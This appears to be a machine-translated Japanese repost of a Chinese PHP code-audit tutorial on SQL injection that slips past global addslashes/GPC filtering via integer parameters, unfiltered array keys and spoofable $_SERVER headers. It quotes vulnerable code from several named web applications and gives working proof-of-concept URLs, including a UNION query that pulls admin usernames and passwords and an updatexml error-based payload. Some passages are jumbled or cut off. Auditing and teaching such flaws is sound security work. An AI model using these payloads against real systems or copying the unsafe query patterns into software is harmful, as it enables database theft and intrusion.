ホームページ >バックエンド開発 >PHPチュートリアル >[PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 6. グローバルな保護の盲点の概要、パート 1

[PHP コード監査] 当時、私たちは SQL インジェクションを一緒に掘り下げました - 6. グローバルな保護の盲点の概要、パート 1

WBOY
WBOYオリジナル
2016-06-20 12:28:021035ブラウズ

0x01 Background

SQL インジェクションに対する今日の WEB アプリケーション保護は、基本的に GPC が有効かどうかを判断し、addlashes 関数を使用して一重引用符などの特殊文字をエスケープします。しかし、このような保護を使用するだけでは多くの盲点があります。たとえば、最も古典的な整数パラメータの受け渡し、つまりデータベース クエリに取り込まれるパラメータは整数であり、配列内のキーはフィルタリングされずにクエリに取り込まれます。 GET 、 POST のグローバル フィルタリングはサポートされますが、 SERVER または COOKIE によるインジェクションはフィルタリングされません。したがって、グローバルに保護されているように見えますが、実際には多くの「バックドア」が隠されています~

盲点は次のとおりです:

①id=1 のような整数パラメータを持つ注入ポイントは完全に無視されますGPC フィルタリング ;

②注入ポイントにキーと値のペアが含まれている場合、ここでは値のみが検出され、キー フィルタリングに対する保護はありません。

③グローバル フィルタリングでは GET のみが除外される場合があります。 POST と COOKIE、ただし SERVER はフィルタリングされません。

一般的な SERVER 変数が添付されています (具体的な意味は Baidu によって決定されます): QUERY_STRING、この記事からは分析のみを行い、脆弱性テスト環境は提供しません~~

0x03 脆弱性分析

GPC のデジタル インジェクションを完全に無視する 実際、注意深く要約した結果、まだ学ぶべきことがたくさんあることがわかりました。

1. 受信パラメータは intval に変換されず、構築された SQL ステートメントは一重引用符で保護されません

これは、著者が最初にいくつか掘り起こしたものです。 dark Cloud case http://www.wooyun.org/bugs/wooyun-2010-065605

管理者アカウントのパスワードを取得するための POC:

<?phprequire_once "admin/common.php";require_once(MOBAN_PATH_QZ."header.html");//这里typeid没有做整形转换$typeid=isset($_GET['typeid']) ? $_GET['typeid'] : 1;//sql语句没有单引号保护$type=$db->fetch_array(mysql_query($sql="select * from ".$db->tablepre."newstype where newstypeid=".$typeid));//typeid参数存在注入,数字型;?>

2. 同じパラメータが含まれています。 最初の SQL には一重引用符で保護されていますが、2 番目の SQL では一重引用符を追加するのを忘れています。
http://localhost/jdy1.5/typeid.php?typeid=1 and 1=2 UNION SELECT NULL,(select concat(username,0x23,password) from jdy_admin limit 1),NULL,

幸いなことに、この種の問題を Discuz! で見ました。Rainy Cow の抜け穴に感心しています。 http://www.wooyun .org/bugs/wooyun-2014-079045

脆弱性原則の簡単な分析

まず、$itemid によって渡される最初の SQL ステートメントは次のとおりです

$itemid は一重引用符で保護されており、クエリに結果がある場合は削除されます。結果がない場合は削除は実行されません。データベースでは itemid は int 型で格納されているため、結果をクエリするには数値型のみを送信するのが本来の意図であり、送信された数値でなければクエリ結果が取得できませんので、以下の delete 文を記述します。実行されません。ただし、mysql の型変換により、ここには int 型が格納されるため、1xxxxx と 1 のクエリ結果は次のように同じになります。

$query = $_SGLOBAL['db']->query('SELECT * FROM '.tname('spacetags').' WHERE itemid=\''.$itemid.'\' AND status=\''.$status.'\'')

その後、2 番目の delete SQL ステートメント

ここで一重引用符を追加するのを忘れました。上の図によると、データベース ユーザーを取得するための POC を構築できます:

$_SGLOBAL['db']->query('DELETE FROM '.tname('spacetags').' WHERE itemid='.$itemid.' AND tagid IN ('.simplode($deletetagidarr).') AND status=\''.$status.'\'');

3.php の弱い型付け言語、判定ロジックエラーによるインジェクション
http://localhost/sup/dan/supesite/cp.php?ac=news&op=view&itemid=4 and 1=(updatexml(1,concat(0x5e24,(select user()),0x5e24),1))#

まだ Yuniu の場合です http://www.wooyun.org/bugs/wooyun-2010-088872

ここでは脆弱性形成の原理についてのみ説明します

上に示したように、弱い型付け言語 0

配列タイプ。グローバル保護は値をフィルターするだけで、キーはフィルターされず、クエリに取り込まれます。

プログラマーは配列の処理が十分に厳密ではないことが多く、その結果、このような脆弱性が生じます。幸いなことに、ShopEx の ecmall にこのような脆弱性があることがわかりました。リンク:

http://www.wooyun.org/bugs/wooyun-2010-065284

上記の理由によります。ケースとシーケンスの変換は関連しており、プロセスはより複雑です。これは Wuyun の別のケースです: http://www.wooyun.org/bugs/wooyun-2010-069746 このケースを簡単に分析するために、まず関数を見てみましょう。配列を処理します:

配列の値が厳密にフィルターされ、アッドラッシュがエスケープされていることがわかりますが、キーにはフィルター操作がありません。次に、キーワード「$」をグローバルに検索します。 key=>$value" を検索すると、次のコード $key がクエリ

$_POST=Add_S($_POST);$_GET=Add_S($_GET);$_COOKIE=Add_S($_COOKIE);... ...function Add_S($array){	foreach($array as $key=>$value){		if(!is_array($value)){			$value=str_replace("&#x","& # x",$value);	//过滤一些不安全字符			$value=preg_replace("/eval/i","eva l",$value);	//过滤不安全函数			!get_magic_quotes_gpc() && $value=addslashes($value);			$array[$key]=$value;		}else{			$array[$key]=Add_S($array[$key]); 		}	}	return $array;
に取り込まれ、以下に示すように管理者アカウントのパスワードを取得するための POC が構築されます。

elseif($job=='manage'){	if(!$atc_power)showerr("你没权限");	if($rsdb[pages]<2){		header("location:post.php?job=edit&aid=$aid∣=$mid&only=$only");exit;	}	$erp=get_id_table($aid);	if($step==2){		asort($orderDB);		$i=0;		foreach( $orderDB AS $key=>$value){			$i++;			$db->query("UPDATE {$pre}reply$erp SET orderid=$i WHERE aid='$aid' AND rid='$key'");		}

その他のケース: http://www.wooyun.org/bugs/wooyun-2014-071516

SERVER 変数がフィルターされていない

は、次のコードのように、ユーザー IP を取得してライブラリに追加します。

クライアント IP は $_SERVER 変数を通じて取得され、X_FORWARDED_FOR を通じて偽造できることがわかりました。 X_FORWARDED_FOR の通常の処理のため、get_ip 関数をグローバルに検索し、それが呼び出され、ライブラリに保存されている場所をいくつか見つけました。

program/index/receive/login.php のコードは例です:
//获取访问者IP(PHP代码/函数)	function get_ip(){	if(getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"),"unknown")){	  $ip=getenv("HTTP_CLIENT_IP");	}else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"),"unknown")){	  $ip=getenv("HTTP_X_FORWARDED_FOR");	}else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"),"unknown")){	  $ip=getenv("REMOTE_ADDR");	}else if (isset($_SERVER['REMOTE_ADDR']) && $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],"unknown")){	  $ip=$_SERVER['REMOTE_ADDR'];	}else{	  $ip="unknown" ;  	}	return $ip;  }

ケース: http://www.wooyun.org/bugs/wooyun-2010- 0173485

元のアドレス: http://www.cnbraid.com/2016/04/29/sql5/
//这里使用get_ip函数获取客户ip$ip=get_ip();//这里入库,所以可以注入了$sql="update ".$pdo->index_pre."user set `last_time`='$time',`last_ip`='$ip' where `id`='".$_SESSION['monxin']['id']."'";$pdo->exec($sql);$sql="select count(id) as c from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."'";$stmt=$pdo->query($sql,2);$v=$stmt->fetch(2);if($v['c']<self::$config['other']['user_login_log']){	$sql="insert into ".$pdo->index_pre."user_login (`userid`,`ip`,`time`,`position`) values ('".$_SESSION['monxin']['id']."','$ip','$time','".get_ip_position($ip)."')";}else{	$sql="select `id` from ".$pdo->index_pre."user_login where `userid`='".$_SESSION['monxin']['id']."' order by time asc limit 0,1";	$stmt=$pdo->query($sql,2);	$v=$stmt->fetch(2);	$sql="update ".$pdo->index_pre."user_login set `ip`='$ip',`time`='$time' where `id`='".$v['id']."'";}$pdo->exec($sql);

声明:
この記事の内容はネチズンが自主的に寄稿したものであり、著作権は原著者に帰属します。このサイトは、それに相当する法的責任を負いません。盗作または侵害の疑いのあるコンテンツを見つけた場合は、admin@php.cn までご連絡ください。
前の記事:フォームの質問次の記事:フォームの質問